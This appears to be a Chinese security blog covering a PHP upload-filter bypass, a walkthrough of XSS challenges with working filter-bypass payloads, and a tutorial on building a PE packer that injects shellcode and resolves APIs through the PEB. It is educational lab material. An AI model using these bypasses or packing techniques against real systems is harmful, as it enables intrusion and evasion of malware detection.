它这里将file打散为数组,以点分割,即为前面的内容以及后缀名,这就是漏洞所利用的地方,正则绕过的一种;

运行过程:
try

可以发现,在file这段部分是利用的重点,因为最后一个png是无法改动的;

第一想法是利用空字符截断,那么要解决的就一个问题,如何在第一个元素中塞进.这个符号;

但尝试之后是不现实的;

另一个思路,end函数和count函数,它明明可以在拼接的地方就用end,为什么非要炫技写count-1索引呢?

因为学C这种强规则性的语言学傻了,php的数组它不需要是连贯的!

如令$file[0] = ‘name’, $file[7] = ‘gg’,count计算下来是2!!!

利用这个思路,让count-1去提取php就行了;

构造如下内容:

1
file.ggez..php.png

那么

$file[0] = ‘file’

$file[1] = ‘ggez’

$file[2] = null

$file[3] = ‘php’

$file[4] = ‘png’

end函数会提取png去比较,而count计算的时候只会计算出4,null不计入!

所以4-1=3,提取php进行最终的拼接,完成后缀绕过;

但对于有些php版本,还是会把$file[2]给计入count的计算,所以可以用bp抓包进行POST传递数组的方式:

post

总结一下吧,很多不同的漏洞呢,实际上都和php绕过有很大的关系,是相辅相成的;

代码审计的一个目的就是快速找到php代码中可以利用的部分,就如这道题的end和count一样,并没有很快的就发现这个利用点;

至此,文件上传漏洞及其labs结束;

阅读全文
Xss-labs-DOM

类型分类

  • 反射型:payload存在于恶意链接,没有存在于服务器内,被攻击者点击遭罪;
  • 存储型:payload被上传到服务器,出现在留言评论交互处,访问被注入了payload的页面就会被攻击;
  • DOM型:基于DOM文档对象的一种漏洞,DOM型并不会和后台进行交互,是前端的安全问题,防御也只能在客户端上进行;

LAB说明

使用靶场:

alert(1) (haozi.me)

所有类型都为DOM型xss

DOM型解题思路

  • 最终的目的都是构造 <script>alert(1)</script>;
  • 除了第一步写法也可以写在元素属性里,触发发生;
  • 先给参数判断回显,看是在哪个标签里;
  • 第一种思想:闭包标签;
  • 遇到正则匹配无法闭包分情况:
    • 遇到匹配符号,能用特殊写法绕就用特殊写法
    • 绕不过符号,尝试unicode编码绕过,双写绕过
    • 匹配一句话,尝试中断匹配,如加空格,回车
    • 匹配网址,可使用http协议@跳转

0X00

服务器代码:

1
2
3
function render (input) {
return '<div>' + input + '</div>'
}

input是参数,利用url传入;

输入参数传入js函数返回给用户html,需要实现弹窗功能则输入为:

1
<script> alert(1) </script>

0X01

服务器代码:

1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}

说明:textarea 是一个多行文本框,期间的内容都是它的内容,有一个思路和sql注入相似–闭包:

1
</textarea><script>alert(1)</script><textarea>

0X02

服务器代码:

1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}

说明:input 是一个输入框,类型和输入内容分别是type及value;

同样是采用闭包,思想和sql注入相似:

1
"><script> alert(1) </script>

0X03

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

正则替换左右括号,可使用反引号写法绕过:

1
<script>alert`1`</script>

0X04

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}

Unicode编码绕过: &#40; &#41;

只可以在标签属性内使用:src,onmouseover,value…

在这里使用onload,页面加载完后执行的动作;

这里说明,在””内的任何编码都会被解释为对应字符,即使””内有”的Unicode编码都会使其提前闭包!!!

1
<body onload="alert&#40;1&#41;"></body>

0X05

1
2
3
4
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}

注释绕过,但不能使用向后闭包的方式;

注释符还有一个写法: –!>

1
--!><script>alert(1)</script>

0X06

1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

输入框以及特殊符号绕过,匹配内容为以auto和on开头的某个属性后面跟着=或>;

正则里,.不匹配换行符,则可以如下写法:

1
2
onmouseover
="alert(1)"

onmouseover属性是当鼠标移动到元素上的时候触发;

0x07

1
2
3
4
5
6
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

正则匹配html标签,并且用article包裹

由于html的写法问题,不闭合>也能跑:

1
<body onload="alert(1)"

0X08

1
2
3
4
5
6
7
8
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

style是css标签,里面不能跑js脚本

可以不完整按着它的写法(加个空格)写后缀就行了:

其实也可以双写绕过</style>

1
</style > <script>alert(1)</script>

0X09

1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

匹配了一个网址,没有大小写区分以及全局匹配;

依然采用闭包思想;

1
http://www.segmentfault.com "></script> <script>alert(1)</script> <!-- 

0x0A

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}

替换特殊字符,无法闭包;

http协议中有种写法为:
https://abcde@www.djdjdj.com
用来做身份验证,实际访问后面那个网址;

又这个lab提供了一个j.js的自带alert(1)的网页,所以可以这么写:

1
https://www.segmentfault.com@https://xss.haozi.me/j.js

注意艾特之后也得加上协议,如果前者用的是http,后者不能用https!!!

0x0B

1
2
3
4
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

使得全体字符大写,标签不受影响;

但是alert收到了影响;

这里是html不受大小写影响,js会,所以使用编码绕过:

1
</h1><body onload="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"></body><h1>

0X0C

1
2
3
4
5
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

在B的基础上过滤掉了script标签,无所谓还是上面的绕过方式:

1
</h1><body onload="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"></body><h1>

说明一下,如果用script标签的话,可以双写绕过,具体见SQLlabs;

0X0D

1
2
3
4
5
6
7
8
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}

屏蔽了特殊符号;

回车加注释 –>

1
2
alert(1); 
-->

0X0E

1
2
3
4
5
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

将字符开头的内容替换为_开头,解决了html标签的闭合;

有特殊写法绕过toUpperCase:
"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'

所以:

1
<ſcript src="https://xss.haozi.me/j.js"></script>

0x0F

1
2
3
4
5
6
7
8
9
10
11
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

在属性中编码仍然有效,也就是之前说的””内:

1
'); alert(1); //

0x10

1
2
3
4
5
6
7
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}

一道非常简单只需要闭合就行的题:

1
2
123;
alert(1)

0x11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

这道题给我一种宽字节注入的既视感,将字符都进行转义为\;

实际上也是和0x0F一样的类型;

1
"); alert(1); //

0x12

1
2
3
4
5
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}

不让用”但是可以双转义,用自己的斜杠去转义它的斜杠:

1
\"); alert(1);//
阅读全文
壳进阶

壳的原理

PE文件到运行时经过的几步重要步骤:

  • 将硬盘中的PE文件复制到内存中;
  • 按内存对齐值对齐;
  • 加载dll等模块;
  • 修复IAT,重定位表;
  • 进入OEP(Original Entry Point)开始执行

壳的原理则是修改OEP (可选PE头) 指向自身代码的地址,执行完后返回真正的OEP;

壳位于PE文件所处位置需要是可执行区段内,如.text;

计算OEP偏移地址用于jmp指令返回公式:

jmp E9 xxxxxxxx = OEP - 此指令下一指令地址

添加shellcode到PE

使用010editor:

  1. 添加一个空白区段在PE末尾 (1000h同时满足文件内存对齐);
  2. 添加一个区段头;
  3. 修正新加区段的属性(通过最后一个区段头开始以及大小计算新加区段的各属性);
  4. 修改 numberofsections (PE头);
  5. 修改 sizeofimage (可选PE头);
  6. 将shellcode粘贴于新区段处;
  7. 修改OEP于shellcode处;

如果遇到区段头无空余部分问题,可将PE头和区段头之间内容平移向上覆盖掉DOS存根,并且改掉 lfanew 偏移,之后可添加;

亦或者直接扩大最后一个区段,并修改属性;

或者合并区段:

  1. 读取PE文件模拟内存对齐对每个区段进行拉伸(防止其他区段合并后偏移错误);
  2. 只保留第一个区段头信息,其他填充0;
  3. 修改第一个区段头属性;
  4. 修改numberofsections;
  5. 将更改后的PE文件保存为新文件;

这样做会导致原文件扩大,但在内存中的大小不会改变,此时有足够的空间塞入壳代码;

加壳

为壳代码写入准备

如之前插入区段的方式与思路用代码操作PE,此时创建一个叫MyShell的类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class MyShell
{
private:
char* fileBuff;
DWORD fileSize;
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeader;
PIMAGE_FILE_HEADER pFileHeader;
PIMAGE_OPTIONAL_HEADER pOptionHeader;
PIMAGE_SECTION_HEADER pSectionHeader;

public:
MyShell();
~MyShell();
BOOL LoadFile(const char* path);
BOOL SaveFile(const char* path);
BOOL InitFileInfo();
BOOL InsertSection(const char* sectionName, DWORD codeSize, char* codeBuff, DWORD dwCharateristics);
DWORD GetAlignSize(DWORD realSize, DWORD alignSize);
BOOL EncodeSections();
DWORD GetOep();
void SetOep(DWORD OEP);
};

第一步,读取文件并创建buffer保存PE镜像;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
BOOL MyShell::LoadFile(const char* path)
{
//打开文件
HANDLE hFile = CreateFileA(path, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
//获取镜像
fileSize = GetFileSize(hFile, 0);
fileBuff = new char[fileSize] {};
if (ReadFile(hFile, fileBuff, fileSize, 0, 0) == FALSE)
{
MessageBoxA(0, "文件获取失败!", "异常", 0);
return FALSE;
}
InitFileInfo();
CloseHandle(hFile);

return TRUE;
}

第二步,解析PE(各个头);

1
2
3
4
5
6
7
8
9
10
11
//基于 fileBuff 镜像
BOOL MyShell::InitFileInfo()
{
pDosHeader = (PIMAGE_DOS_HEADER)fileBuff;
pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + fileBuff);
pFileHeader = &(pNtHeader->FileHeader);
pOptionHeader = &(pNtHeader->OptionalHeader);
pSectionHeader = (PIMAGE_SECTION_HEADER)(pFileHeader->SizeOfOptionalHeader + (DWORD)pOptionHeader);

return TRUE;
}

第三步,插入区段和区段头,设置属性并修改PE某些字段;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
BOOL MyShell::InsertSection(const char* sectionName, DWORD codeSize, char* codeBuff, DWORD dwCharateristics)
{
//判断节区头是否剩下两个头的空位
DWORD SectionCount = pFileHeader->NumberOfSections;
DWORD EndOfSectionHeader = (DWORD)pSectionHeader + SectionCount * IMAGE_SIZEOF_SECTION_HEADER;
DWORD BeginOfSection = (DWORD)fileBuff + pOptionHeader->SizeOfHeaders;
if (BeginOfSection - EndOfSectionHeader < IMAGE_SIZEOF_SECTION_HEADER * 2)
{
MessageBoxA(0, "插入失败,节区头大小不足!", "异常", 0);
return FALSE;
}
//获取新PE文件大小并建立新buff存放新PE
DWORD newFileSize = GetAlignSize(fileSize + codeSize, pOptionHeader->FileAlignment);
char* newFileBuff = new char[newFileSize] {};
memcpy_s(newFileBuff, newFileSize, fileBuff, fileSize);
fileSize = newFileSize;
delete[] fileBuff;
fileBuff = newFileBuff;
InitFileInfo();
//新增区段添加区段头并添加属性:名字,内存大小,文件大小,内存地址,文件偏移,权限
PIMAGE_SECTION_HEADER lastSectionHeader = pSectionHeader + (SectionCount - 1);
PIMAGE_SECTION_HEADER newSectionHeader = lastSectionHeader + 1;
strcpy_s((char *)newSectionHeader->Name, 8, sectionName);
newSectionHeader->Misc.VirtualSize = GetAlignSize(codeSize, pOptionHeader->SectionAlignment);
newSectionHeader->SizeOfRawData = GetAlignSize(codeSize, pOptionHeader->FileAlignment);
newSectionHeader->VirtualAddress = lastSectionHeader->VirtualAddress + GetAlignSize(lastSectionHeader->Misc.VirtualSize, pOptionHeader->SectionAlignment);
newSectionHeader->PointerToRawData = lastSectionHeader->PointerToRawData + lastSectionHeader->SizeOfRawData;
newSectionHeader->Characteristics = dwCharateristics;
newSectionHeader->PointerToLinenumbers = 0;
newSectionHeader->PointerToRelocations = 0;
newSectionHeader->NumberOfLinenumbers = 0;
newSectionHeader->NumberOfRelocations = 0;
//修改numberofsections以及sizeofimage
pFileHeader->NumberOfSections++;
pOptionHeader->SizeOfImage += GetAlignSize(codeSize, pOptionHeader->SectionAlignment);

//添加shellcode
char* sectionBuff = newSectionHeader->PointerToRawData + fileBuff;
memcpy(sectionBuff, codeBuff, codeSize);

return TRUE;
}

//内存对齐
DWORD MyShell::GetAlignSize(DWORD realSize, DWORD alignSize)
{
if (realSize % alignSize == 0)
return realSize;
return (realSize / alignSize + 1) * alignSize;
}

第四步,保存文件;

1
2
3
4
5
6
7
8
9
10
11
12
BOOL MyShell::SaveFile(const char* path)
{
HANDLE hFile = CreateFileA(path, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if (WriteFile(hFile, fileBuff, fileSize, 0, 0) == FALSE)
{
MessageBoxA(0, "保存文件失败!", "异常", 0);
return FALSE;
}
CloseHandle(hFile);

return TRUE;
}

至此,用代码实现了之前用010手动粘贴shellcode之前的所有步骤;

对原程序编码加密

加壳难度逐级递进,此时先考虑对.text段的加密,因为.data段有IAT表等东西需要处理;

1
2
3
4
5
6
7
8
9
BOOL MyShell::EncodeSections()
{
int key = 0xBC;
char* pData = pSectionHeader->PointerToRawData + fileBuff;
for (int i = 0; i < pSectionHeader->SizeOfRawData; i++)
pData[i] ^= key;

return TRUE;
}

制作壳代码

之前写的壳代码是需要手动从ida里扣的,这里的壳代码写在dll文件里,使用link命令合并区段只剩代码段,此时第一节区便是需要的shellcode;

1
2
3
4
5
//代码段数据段合并
#pragma comment(linker,"/merge:.data=.text")
#pragma comment(linker,"/merge:.rdata=.text")
//设置属性
#pragma comment(linker,"/section:.text,RWE")

壳代码的特点:

  • 拥有解密功能;
  • 拥有保护功能;

难点:

  • 壳代码是后期写入文件里,系统无法修复壳代码的iat,需要动态调用API;
  • 壳代码如果有全局变量,会涉及到重定位,需要修复壳的重定位表;

其具体构造如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
_declspec(naked) void Code()
{
//保存寄存器环境
__asm pushad
//实现逻辑
GetAPI();
DecodeSections();
MyCode();
//恢复寄存器环境并跳入真正OEP
__asm popad
__asm jmp g_OepInfo.oldOEP;
}

原OEP以及新OEP的传递需要用到dll的结构体导出,以便exe和dll交换OEP信息,其结构体如下所示:

1
2
3
4
5
6
7
8
9
typedef struct _OEPINFO
{
DWORD newOEP;
DWORD oldOEP;
}OEPINFO, * POEPINFO;

extern "C" _declspec(dllexport) OEPINFO g_OepInfo;

OEPINFO g_OepInfo = { (DWORD)Code };

在之前的MyShell类里给出了OEP的set和get方法:

1
2
3
4
5
6
7
8
9
10
11
12
DWORD MyShell::GetOep()
{
return pOptionHeader->AddressOfEntryPoint + pOptionHeader->ImageBase;
}

//输入的OEP实际上为Code函数距离其节区开始的偏移
void MyShell::SetOep(DWORD OEP)
{
DWORD SectionCount = pFileHeader->NumberOfSections;
PIMAGE_SECTION_HEADER pLastSectionHeader = pSectionHeader + (SectionCount - 1);
pOptionHeader->AddressOfEntryPoint = pLastSectionHeader->VirtualAddress + OEP;
}

动态调用API

首先是GetAPI的实现,如何动态获取API地址呢,在上一篇ShellCode中说明了需要利用PEB来获取kernel32的基址从而找到LoadLibrary以获取所有可使用的API;

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
//获取kernel32或者kernelbase
DWORD GetEssentialModule()
{
DWORD dwBase = 0;
__asm
{
mov eax, dword ptr fs : [0x30]
mov eax, [eax + 0xc]
mov eax, [eax + 0x1c]
mov eax, [eax]
mov eax, [eax + 0x8]
mov dwBase, eax
}

return dwBase;
}

//根据导出表寻址函数
DWORD MyGetProcAddress(DWORD hModule, LPCSTR funcName)
{
//获取NT头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + (DWORD)hModule);
//获取导出表
PIMAGE_EXPORT_DIRECTORY exportTable = (PIMAGE_EXPORT_DIRECTORY)((pNtHeader->OptionalHeader.DataDirectory[0].VirtualAddress) + (DWORD)hModule);
//名称表,序号表,地址表
DWORD* nameTable = (DWORD*)(exportTable->AddressOfNames + (DWORD)hModule);
WORD* oridinalTable = (WORD*)(exportTable->AddressOfNameOrdinals + (DWORD)hModule);
DWORD* addressTable = (DWORD*)(exportTable->AddressOfFunctions + (DWORD)hModule);
//获取函数地址
for (int i = 0; i < exportTable->NumberOfNames; i++)
{
//获取函数名
char* name = (char*)(nameTable[i] + (DWORD)hModule);
if (!strcmp(name, funcName))
return addressTable[oridinalTable[i]] + (DWORD)hModule;
}

return 0;
}

//获取之后所要用到的API
void GetAPI()
{
DWORD kernelBase = GetEssentialModule();
//获取LoadlibraryEx
g_MyLoadLibraryExA = (MyLoadLibraryExA)MyGetProcAddress(kernelBase, "LoadLibraryExA");
//动态加载kernel32.dll
HMODULE kernel32Base = g_MyLoadLibraryExA("kernel32.dll", 0, 0);
g_MyGetProcAddress = (MYGetProcAddress)MyGetProcAddress((DWORD)kernel32Base, "GetProcAddress");
g_MyGetModuleHandleA = (MyGetModuleHandleA)g_MyGetProcAddress(kernel32Base, "GetModuleHandleA");
g_MyVirtualProtect = (MyVirtualProtect)g_MyGetProcAddress(kernel32Base, "VirtualProtect");
HMODULE user32Base = g_MyLoadLibraryExA("user32.dll", 0, 0);
g_MyMessageBoxA = (MyMessageBoxA)g_MyGetProcAddress(user32Base, "MessageBoxA");
}

对以上使用到的全局变量定义为如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
typedef HMODULE (WINAPI * MyLoadLibraryExA)(
LPCSTR lpLibFileName,
HANDLE hFile,
DWORD dwFlags
);

MyLoadLibraryExA g_MyLoadLibraryExA = NULL;

typedef FARPROC (WINAPI * MYGetProcAddress)(
HMODULE hModule,
LPCSTR lpProcName
);

MYGetProcAddress g_MyGetProcAddress = NULL;

typedef HMODULE (WINAPI * MyGetModuleHandleA)(
LPCSTR lpModuleName
);

MyGetModuleHandleA g_MyGetModuleHandleA = NULL;

typedef BOOL (WINAPI * MyVirtualProtect)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

MyVirtualProtect g_MyVirtualProtect = NULL;

typedef int (WINAPI * MyMessageBoxA)(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);

MyMessageBoxA g_MyMessageBoxA = NULL;

之后,在解密部分实现里,就可以使用API来操作数据了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
BOOL DecodeSections()
{
int key = 0xBC;
//写入后,得到exe的镜像基址,并获取其节区
HMODULE hModule = g_MyGetModuleHandleA(0);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + (DWORD)hModule);
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeader);
char* sectionBuff = (char *)(pSectionHeader->VirtualAddress + (DWORD)hModule);
//解密
DWORD oldProtect;
g_MyVirtualProtect(sectionBuff, pSectionHeader->SizeOfRawData, PAGE_EXECUTE_READWRITE, &oldProtect);
for (int i = 0; i < pSectionHeader->SizeOfRawData; i++)
sectionBuff[i] ^= key;
g_MyVirtualProtect(sectionBuff, pSectionHeader->SizeOfRawData, oldProtect, &oldProtect);

return TRUE;
}

void MyCode()
{
g_MyMessageBoxA(0, "壳代码执行!", "提示", 0);
}

此时便有了dll文件,在之前的MyShell类的main函数中做出如下拼装:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#define CHARACTERISTICS 0xE00000E0

typedef struct _OEPINFO
{
DWORD newOEP;
DWORD oldOEP;
}OEPINFO, * POEPINFO;

int main()
{
MyShell myShell;

if (argc < 2)
{
printf("\nUsage: %s + ./file_you_want_pack\n\n", argv[0]);
return 0;
}
char* path = argv[1];

//载入目标exe并对节区加密
myShell.LoadFile(path);
myShell.EncodeSections();
//载入上面编写好的dll文件
HMODULE hModule = LoadLibraryA("ShellCode.dll");
//获取OEP信息结构
POEPINFO pOepInfo = (POEPINFO)GetProcAddress(hModule, "g_OepInfo");
pOepInfo->oldOEP = myShell.GetOep();

//获取dll的节区位置,这是需要的shellcode
PIMAGE_DOS_HEADER pDllDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pDllNtHeader = (PIMAGE_NT_HEADERS)(pDllDosHeader->e_lfanew + (DWORD)hModule);
PIMAGE_SECTION_HEADER pDllSectionHeader = IMAGE_FIRST_SECTION(pDllNtHeader);
char* buff = (char*)(pDllSectionHeader->VirtualAddress + (DWORD)hModule);
//将shellcode“粘贴”进目标exe文件
myShell.InsertSection("BcShell", pDllSectionHeader->Misc.VirtualSize, buff, CHARACTERISTICS);

//设置新的OEP指向
myShell.SetOep(pOepInfo->newOEP - (DWORD)hModule - pDllSectionHeader->VirtualAddress);

myShell.SaveFile(path);

return 0;
}

至此一个加壳项目就 “完成” 了;

但这里任然保留了一个难点还没攻克:重定位表,在shellcode里编写的对全局变量引用的地址和在写入目标exe后所对应的地址是有问题的;

修复重定位表

重定位表结构

重定位表记录编译之前立即数地址所对应内容的位置,用于编译期间修复立即数,防止基址变化引起的立即数定位错误(类似于IAT在编译期间会修复原本指向名称为准确的地址);

其位于datadirectory[5];

重定位表中只有两个字段:VirtualAddress,SizeOfBlock,都为DWORD类型;

一个程序可能有多张重定位表;

其结构如下图所示:

relocate

其中sizeofblock为整个结构的大小(DWORD区域和WORD区域);

virtualaddress存放的内容一般为0x1000的整数倍;

word类型区域存放数据加上virtualaddress的数据则是某个立即数的准确rva;

这些rva转换为va之后,存的是立即数,而不是立即数对应的变量值;

举例:

重定位表上的偏移带过去,内存中存的是 “全局变量的地址”a ,因为挪动让a发生变化,所以修复的是a,计算a在fileBuff镜像中的位置,给填入原先的重定位表的每个偏移存放的地址处,就完成了修复;

word类型区域存放数据:0001 0000 0000 0000 ,高4位用于标识:0011为有效,其他位才是用来加virtualaddress的数据;

关于0x1000是对于4KB内存页的对齐,节省内存空间才这么设计的上述结构;

修复开始

对于将要修复的重定位表是针对于注入后的壳代码而言的,通过一个共同点:立即数地址对节区的偏移不变

思路

  • 从dll中拿到原本的重定位表里的所有rva,利用这个rva和节区rva计算不变的相对偏移offset;
  • 通过offset再拿到镜像中这些立即数的存放PA地址,此时也就得到了立即数;
  • 再用同样的方法用立即数获取对应变量在镜像中新的立即数地址,并利用得到的PA地址来替换这些立即数;

对MyShell类新增函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//修复插入后壳代码的个别立即数
BOOL MyShell::RepairRelocate(DWORD imageBase)
{
//获取dll重定位表
PIMAGE_DOS_HEADER pDllDosHeader = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS pDllNtHeader = (PIMAGE_NT_HEADERS)(pDllDosHeader->e_lfanew + imageBase);
PIMAGE_OPTIONAL_HEADER pDllOptionHeader = &(pDllNtHeader->OptionalHeader);
PIMAGE_BASE_RELOCATION pDllRelocate = (PIMAGE_BASE_RELOCATION)(pDllOptionHeader->DataDirectory[5].VirtualAddress + imageBase);
PIMAGE_SECTION_HEADER pDllSectionHeader = IMAGE_FIRST_SECTION(pDllNtHeader);

//遍历重定位表
while (pDllRelocate->SizeOfBlock)
{
//取word类型个数
DWORD reCount = (pDllRelocate->SizeOfBlock - 8) / 2;
char* begin = (char *)pDllRelocate + 8;

//遍历每个小数
for (int i = 0; i < reCount; i++)
{
WORD* pRelocRva = (WORD*)begin;
//有效位判断
if ((*pRelocRva & 0x3000) == 0x3000)
{
//取DLL内立即数rva
DWORD relocRva = (*pRelocRva & 0xfff) + pDllRelocate->VirtualAddress;
//计算offset
DWORD offset = relocRva - pDllSectionHeader->VirtualAddress;
//计算镜像中立即数地址
DWORD SectionCount = pFileHeader->NumberOfSections;
PIMAGE_SECTION_HEADER pLastSectionHeader = pSectionHeader + (SectionCount - 1);
DWORD destAddr = offset +(DWORD)(fileBuff + pLastSectionHeader->PointerToRawData);

//计算变量相对节区offset
offset = (*(DWORD*)destAddr - imageBase) - pDllSectionHeader->VirtualAddress;
//计算变量于镜像内新VA并修改
DWORD aimVA = offset + (pLastSectionHeader->VirtualAddress + pOptionHeader->ImageBase);
*(DWORD*)destAddr = aimVA;
}
begin += 2;
}
pDllRelocate = (PIMAGE_BASE_RELOCATION)(pDllRelocate->SizeOfBlock + (DWORD)pDllRelocate);
}

return TRUE;
}

对于以上实现的加壳项目只适用于32位且固定基址的程序;

固定基址的原因:全局变量的VA计算用到了dll的imagebase,OEP的提取也用到了imagebase;

动态基址问题

思路是将dll的重定位表也扔到加壳程序里,利用操作系统对壳代码修复重定位表;

此时壳代码可以畅通无阻地运行,则可以在壳代码中动态的获取程序基址计算OEP,修复原程序重定位表;

思路:

  • 塞入dll壳代码与重定位表;
  • 修复壳代码对应固定基址时立即数;
  • 修复重定位表(重定位表的virtualAddress相对加壳程序而言);
  • 修改加壳程序datadirectory[5]字段;
  • 修复原程序重定位表;

步骤一,更改了main中对insertSection的输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
	//获取OEP信息结构
POEPINFO pOepInfo = (POEPINFO)GetProcAddress(hModule, "g_OepInfo");
pOepInfo->oldOEP = myShell.GetOep();
------

//保存旧重定位表信息
DWORD oldRelocSize = 0;
char * oldReloc = myShell.SaveOldReloc(&oldRelocSize);
//保存PE文件名
PPENAME PeName = (PPENAME)GetProcAddress(hModule, "g_PeName");
strcpy_s(PeName->name, path);

//获取dll的节区位置,这是需要的shellcode
PIMAGE_DOS_HEADER pDllDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pDllNtHeader = (PIMAGE_NT_HEADERS)(pDllDosHeader->e_lfanew + (DWORD)hModule);
PIMAGE_SECTION_HEADER pDllSectionHeader = IMAGE_FIRST_SECTION(pDllNtHeader);
char* buff = (char*)(pDllSectionHeader->VirtualAddress + (DWORD)hModule);
//获取导入表
myShell.GetImportTable();
//获取dll重定位表
char* pDllRelocate = (char *)(pDllNtHeader->OptionalHeader.DataDirectory[5].VirtualAddress + (DWORD)hModule);
//计算插入Buff
DWORD finalSize = oldRelocSize + pDllSectionHeader->Misc.VirtualSize + pDllNtHeader->OptionalHeader.DataDirectory[5].Size + myShell.GetImportTableSize();
char* finalBuff = new char[finalSize];
char* p = finalBuff;
memcpy(p, buff, pDllSectionHeader->Misc.VirtualSize);
p += pDllSectionHeader->Misc.VirtualSize;
if (oldReloc)
memcpy(p, oldReloc, oldRelocSize);
p += oldRelocSize;
memcpy(p, pDllRelocate, pDllNtHeader->OptionalHeader.DataDirectory[5].Size);

------
//将shellcode以及dll重定位表“粘贴”进目标exe文件
char* sectionBuff = myShell.InsertSection("BcShell", finalSize, finalBuff, CHARACTERISTICS);
delete[] finalBuff;

虚线内为更改部分,这使得插入的节区大小可以满足shellcode以及重定位表和原程序自己导入表和原重定位表的大小;

对于新增加的函数:SaveOldReloc()和 GetImportTable(),前者有以下说明,后者放在下一个小标题讲解;

1
2
3
4
5
6
7
